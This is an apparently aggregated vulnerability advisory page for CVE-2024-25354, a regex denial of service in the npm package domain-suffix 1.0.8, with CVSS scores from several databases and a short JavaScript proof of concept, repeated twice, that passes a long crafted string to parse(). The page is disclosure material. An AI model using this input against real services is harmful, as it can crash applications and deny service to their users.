CVE-2024-25354
domain-suffix RegEx Denial of Service
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
- Record
CVE-2024-25354- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
EUVDEUVD-2024-0905
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
- Record
EUVD-2024-0905- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cqfh-c4c5-c2hg
domain-suffix RegEx Denial of Service
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
PoC
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
- Record
GHSA-cqfh-c4c5-c2hg- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
- Record
CVE-2024-25354- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-cqfh-c4c5-c2hg
domain-suffix RegEx Denial of Service
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
PoC
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
- Record
GHSA-cqfh-c4c5-c2hg- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
domain-suffixnpm |
through 1.0.8 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-25354 is a high vulnerability (CVSS 7.5) in Npmjs Domain-suffix, published March 27, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. No source names a fixed version.